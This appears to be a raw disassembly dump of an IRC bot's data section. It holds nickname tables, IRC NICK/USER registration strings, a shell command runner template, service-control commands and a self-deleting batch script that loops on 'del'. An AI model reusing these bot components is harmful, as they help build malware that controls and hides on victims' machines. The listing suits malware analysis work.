		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438E98
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_438A68	dd offset aSex		; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
; ---------------------------------------------------------------------------
		push	6000438Dh
		lea	eax, [ebx+0]
		pop	eax
		lea	eax, [ebx+0]
		push	eax
		lea	eax, [ebx+0]
		dec	eax
		lea	eax, [ebx+0]
		inc	eax
		lea	eax, [ebx+0]
		cmp	[ebp-72CFFFBDh], cl
		inc	ebx
		add	[eax], ch
		lea	eax, [ebx+0]
		sbb	al, 8Dh
		inc	ebx
		add	ds:8D0C0043h[ecx*4], dl
		inc	ebx
		add	[eax], cl
		lea	eax, [ebx+0]
		add	[ebp-6D0BFFBDh], cl
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		db  10h
		db  93h	; “
		db  43h	; C
		db    0
		db  88h	; ˆ
		db 0B1h	; ±
		db  42h	; B
		db    0
		db  0Ch
		db  93h	; “
		db  43h	; C
		db    0
		db    8
		db  93h	; “
		db  43h	; C
		db    0
		db    4
		db  93h	; “
		db  43h	; C
		db    0
		db  70h	; p
		db 0C6h	; Æ
		db  42h	; B
		db    0
		db  34h	; 4
		db 0B9h	; ¹
		db  42h	; B
		db    0
		db  7Ch	; |
		db 0B7h	; ·
		db  42h	; B
		db    0
		db 0ECh	; ì
		db 0CAh	; Ê
		db  42h	; B
		db    0
		dd offset dword_439300
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439318
		dd offset dword_4392F8
		dd offset dword_439314
		dd offset dword_4392FC
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_4392FC
		dd offset dword_439308
		dd offset aS_1		; "s"
		dd offset aQ		; "q"
		dd offset off_438CB8
		dd offset aBbl		; "|bbl"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset a___0		; "_|_"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392C4
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4392F4
		dd offset byte_43DB88
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392A8
		dd offset byte_43DB88
		dd offset aBoy		; "BOY"
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438C38
		dd offset dword_438C34
		dd offset dword_438C2C
		dd offset dword_438C20
		dd offset dword_438C18
		dd offset dword_438C10
		dd offset dword_438C08
		dd offset dword_438C04
		dd offset dword_438C00
dword_438C00	dd 7536h		; DATA XREF: .packed:00438BFCo
dword_438C04	dd 7535h		; DATA XREF: .packed:00438BF8o
dword_438C08	dd 7C75347Ch, 0		; DATA XREF: .packed:00438BF4o
dword_438C10	dd 6F79347Bh, 7D75h	; DATA XREF: .packed:00438BF0o
dword_438C18	dd 7375347Ch, 7Ch	; DATA XREF: .packed:00438BECo
dword_438C20	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: .packed:00438BE8o
dword_438C2C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: .packed:00438BE4o
dword_438C34	dd 6C6F6Ch		; DATA XREF: .packed:00438BE0o
dword_438C38	dd 746F74h		; DATA XREF: .packed:00438BDCo
aMofo		db 'mofo',0             ; DATA XREF: .packed:00438BD8o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .packed:00438BD4o
		align 4
aMuha		db 'muha',0             ; DATA XREF: .packed:00438BD0o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: .packed:00438BCCo
		align 4
aAha		db 'aha',0              ; DATA XREF: .packed:00438BC8o
aShit		db 'shit',0             ; DATA XREF: .packed:00438BC4o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: .packed:00438BC0o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: .packed:00438BBCo
		align 4
aBoy		db 'BOY',0              ; DATA XREF: .packed:00438BB8o
aFree		db 'Free',0             ; DATA XREF: .packed:00438BA4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: .packed:00438BA0o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: .packed:00438B94o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: .packed:00438B88o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: .packed:00438B84o
aLuvu		db 'LUVU',0             ; DATA XREF: .packed:00438B80o
		align 4
a___0		db '_|_',0              ; DATA XREF: .packed:00438B64o
aBbl		db '|bbl',0             ; DATA XREF: .packed:00438B58o
		align 4
off_438CB8	dd offset loc_425240+2	; DATA XREF: .packed:00438B54o
aMuckc		db 'muckc',0            ; DATA XREF: .packed:00438B40o
		align 4
aTruck		db 'truck',0            ; DATA XREF: .packed:00438B3Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: .packed:00438B38o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: .packed:00438B34o
		align 4
aUi		db 'ui',0               ; DATA XREF: .packed:00438B30o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: .packed:00438B2Co
aRt		db 'rt',0               ; DATA XREF: .packed:00438B28o
		align 4
aGf		db 'gf',0               ; DATA XREF: .packed:00438B24o
		align 4
aTy		db 'ty',0               ; DATA XREF: .packed:00438B20o
		align 10h
aRg		db 'rg',0               ; DATA XREF: .packed:00438B1Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: .packed:00438B18o
		align 4
aRs		db 'rs',0               ; DATA XREF: .packed:00438AF8o
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 10h
aSex_0		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 10h
aLuck		db '|luck|',0
		align 4
aSuck		db '|suck|',0
		align 10h
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 10h
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0              ; DATA XREF: .packed:00438A78o
aTree		db 'tree',0             ; DATA XREF: .packed:00438A74o
		align 4
aZex		db 'zex',0              ; DATA XREF: .packed:00438A70o
aLez		db 'lez',0              ; DATA XREF: .packed:00438A6Co
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: .packed:00438A64o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: .packed:00438A60o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: .packed:00438A5Co
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .packed:00438A58o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: .packed:00438A54o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: .packed:00438A50o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: .packed:00438A4Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .packed:00438A48o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: .packed:00438A44o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: .packed:00438A40o
aTropikal	db 'tropikal',0         ; DATA XREF: .packed:00438A3Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .packed:00438A38o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .packed:00438A34o
		align 4
aUla		db 'ula',0              ; DATA XREF: .packed:00438A30o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .packed:00438A2Co
aAkden		db 'akden',0            ; DATA XREF: .packed:00438A28o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: .packed:00438A24o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: .packed:00438A20o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: .packed:00438A1Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .packed:00438A18o
aM41ist		db 'M41IST',0           ; DATA XREF: .packed:00438A14o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .packed:00438A10o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: .packed:00438A0Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: .packed:00438A08o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: .packed:00438A04o
		align 4
aDevre		db 'devre',0            ; DATA XREF: .packed:00438A00o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: .packed:004389FCo
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: .packed:004389F8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: .packed:004389F4o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: .packed:004389F0o
		align 4
off_438E98	dd offset byte_4B5245	; DATA XREF: .packed:004389ECo
aSevda		db 'sevda',0            ; DATA XREF: .packed:004389E8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: .packed:004389E4o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: .packed:004389E0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: .packed:004389DCo
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: .packed:004389D8o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .packed:004389D4o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: .packed:004389D0o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .packed:004389CCo
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: .packed:004389C8o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: .packed:004389C4o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .packed:004389C0o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: .packed:004389BCo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: .packed:004389B8o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: .packed:004389B4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: .packed:004389B0o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .packed:004389ACo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .packed:004389A8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .packed:004389A4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: .packed:004389A0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .packed:0043899Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: .packed:00438998o
aHoly		db 'holy',0             ; DATA XREF: .packed:00438994o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: .packed:00438990o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: .packed:0043898Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .packed:00438988o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .packed:00438984o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: .packed:00438980o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: .packed:0043897Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .packed:00438978o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .packed:00438974o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: .packed:00438970o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .packed:0043896Co
aArda		db 'arda',0             ; DATA XREF: .packed:00438968o
		align 4
aDevran		db 'devran',0           ; DATA XREF: .packed:00438964o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .packed:00438960o
aDenizlim	db 'DenizliM',0         ; DATA XREF: .packed:0043895Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .packed:00438958o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .packed:00438954o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: .packed:00438950o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .packed:0043894Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: .packed:00438948o
		align 4
off_43902C	dd offset byte_457441	; DATA XREF: .packed:00438944o
dword_439030	dd 414C5941h, 2Dh	; DATA XREF: .packed:00438940o
aAlbina		db 'albina',0           ; DATA XREF: .packed:0043893Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .packed:00438938o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: .packed:00438934o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .packed:00438930o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: .packed:0043892Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .packed:00438928o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .packed:00438924o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .packed:00438920o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .packed:0043891Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .packed:00438918o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .packed:00438914o
aAslii		db 'aslii',0            ; DATA XREF: .packed:00438910o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: .packed:0043890Co
aHaticem	db 'haticem',0          ; DATA XREF: .packed:00438908o
aArzu		db 'ARZU',0             ; DATA XREF: .packed:00438904o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: .packed:00438900o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .packed:004388FCo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .packed:004388F8o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: .packed:004388F4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .packed:004388F0o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .packed:004388ECo
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: .packed:004388E8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .packed:004388E4o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: .packed:004388E0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: .packed:004388DCo
aTolga34	db 'Tolga34',0          ; DATA XREF: .packed:004388D8o
aMisssunday	db 'misssunday',0       ; DATA XREF: .packed:004388D4o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: .packed:004388D0o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .packed:004388CCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: .packed:004388C8o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: .packed:004388C4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: .packed:004388C0o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .packed:004388BCo
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .packed:004388B8o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .packed:004388B4o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .packed:004388B0o
aReshma		db 'reshma',0           ; DATA XREF: .packed:004388ACo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .packed:004388A8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: .packed:004388A4o
		align 4
aImra		db 'imra',0             ; DATA XREF: .packed:004388A0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .packed:0043889Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: .packed:00438898o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .packed:00438894o
		align 4
aManee		db 'manee',0            ; DATA XREF: .packed:00438890o
		align 4
aTroller	db 'troller',0          ; DATA XREF: .packed:0043888Co
aLuisa		db 'Luisa',0            ; DATA XREF: .packed:00438888o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: .packed:00438884o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: .packed:00438880o
		align 4
aJanno		db 'janno',0            ; DATA XREF: .packed:0043887Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: .packed:00438878o
		align 4
aHeval		db 'heval',0            ; DATA XREF: .packed:00438874o
		align 10h
aCme		db 'cme',0              ; DATA XREF: .packed:00438870o
aMarcy		db 'marcy',0            ; DATA XREF: .packed:0043886Co
		align 4
aTalika		db 'talika',0           ; DATA XREF: .packed:00438868o
		align 4
aShez		db 'Shez',0             ; DATA XREF: .packed:00438864o
		align 4
aKen		db 'ken',0              ; DATA XREF: .packed:00438860o
aFlexster	db 'flexster',0         ; DATA XREF: .packed:0043885Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: .packed:00438858o
		align 4
aMale		db 'male',0             ; DATA XREF: .packed:00438854o
		align 4
aSwin		db 'swin',0             ; DATA XREF: .packed:00438850o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .packed:0043884Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: .packed:00438848o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .packed:00438844o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .packed:00438840o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .packed:0043883Co
aFarooq		db 'farooq',0           ; DATA XREF: .packed:00438838o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .packed:00438834o
		align 4
aM_0:					; DATA XREF: .packed:00438830o
					; .packed:00438B7Co
		unicode	0, <M>,0
word_439298	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; .packed:0043882Co
		align 4
dword_43929C	dd 42h			; DATA XREF: .packed:00438828o
dword_4392A0	dd 56h			; DATA XREF: .packed:00438824o
dword_4392A4	dd 43h			; DATA XREF: .packed:00438820o
dword_4392A8	dd 58h			; DATA XREF: .packed:0043881Co
					; .packed:00438BB0o
dword_4392AC	dd 5Ah			; DATA XREF: .packed:00438818o
dword_4392B0	dd 4Ch			; DATA XREF: .packed:00438814o
dword_4392B4	dd 4Bh			; DATA XREF: .packed:00438810o
dword_4392B8	dd 4Ah			; DATA XREF: .packed:0043880Co
dword_4392BC	dd 48h			; DATA XREF: .packed:00438808o
dword_4392C0	dd 47h			; DATA XREF: .packed:00438804o
dword_4392C4	dd 46h			; DATA XREF: .packed:00438800o
					; .packed:00438B78o
dword_4392C8	dd 44h			; DATA XREF: .packed:004387FCo
dword_4392CC	dd 53h			; DATA XREF: .packed:004387F8o
dword_4392D0	dd 50h			; DATA XREF: .packed:004387F0o
dword_4392D4	dd 4Fh			; DATA XREF: .packed:004387ECo
dword_4392D8	dd 55h			; DATA XREF: .packed:004387E4o
word_4392DC	dw 59h			; DATA XREF: sub_41A6EA+38r
					; .packed:004387E0o
		align 10h
dword_4392E0	dd 54h			; DATA XREF: .packed:004387DCo
dword_4392E4	dd 52h			; DATA XREF: .packed:004387D8o
dword_4392E8	dd 45h			; DATA XREF: .packed:004387D4o
dword_4392EC	dd 57h			; DATA XREF: .packed:004387D0o
dword_4392F0	dd 51h			; DATA XREF: .packed:004387CCo
dword_4392F4	dd 62h			; DATA XREF: .packed:004387C0o
					; .packed:00438B8Co
dword_4392F8	dd 78h			; DATA XREF: .packed:00438B0Co
dword_4392FC	dd 7Ah			; DATA XREF: .packed:00438B14o
					; .packed:00438B44o
dword_439300	dd 6Ch,	68h		; DATA XREF: .packed:004387ACo
					; .packed:00438AE0o
dword_439308	dd 67h,	66h, 64h	; DATA XREF: .packed:00438B48o
dword_439314	dd 79h			; DATA XREF: .packed:00438B10o
dword_439318	dd 77h			; DATA XREF: .packed:00438B08o
dword_43931C	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439328	dd 323334h		; DATA XREF: sub_417B76+79o
dword_43932C	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 4
dword_439374	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_4393DC:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 4
unk_4394A4	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4394D4	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4394FC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h
off_439518	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_43951C	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439520	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43958Ch, 439584h,	2, 439578h, 43956Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .packed:0043954Co
aStop_0		db 'Stop',0             ; DATA XREF: .packed:00439548o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .packed:00439540o
aStart_0	db 'Start',0            ; DATA XREF: .packed:0043953Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .packed:00439534o
		align 4
aList_1		db 'List',0             ; DATA XREF: .packed:00439530o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .packed:00439528o
aDelete_0	db 'Delete',0           ; DATA XREF: .packed:00439524o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .packed:off_43951Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: .packed:off_439518o
unk_4395E0	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439604	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439630	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
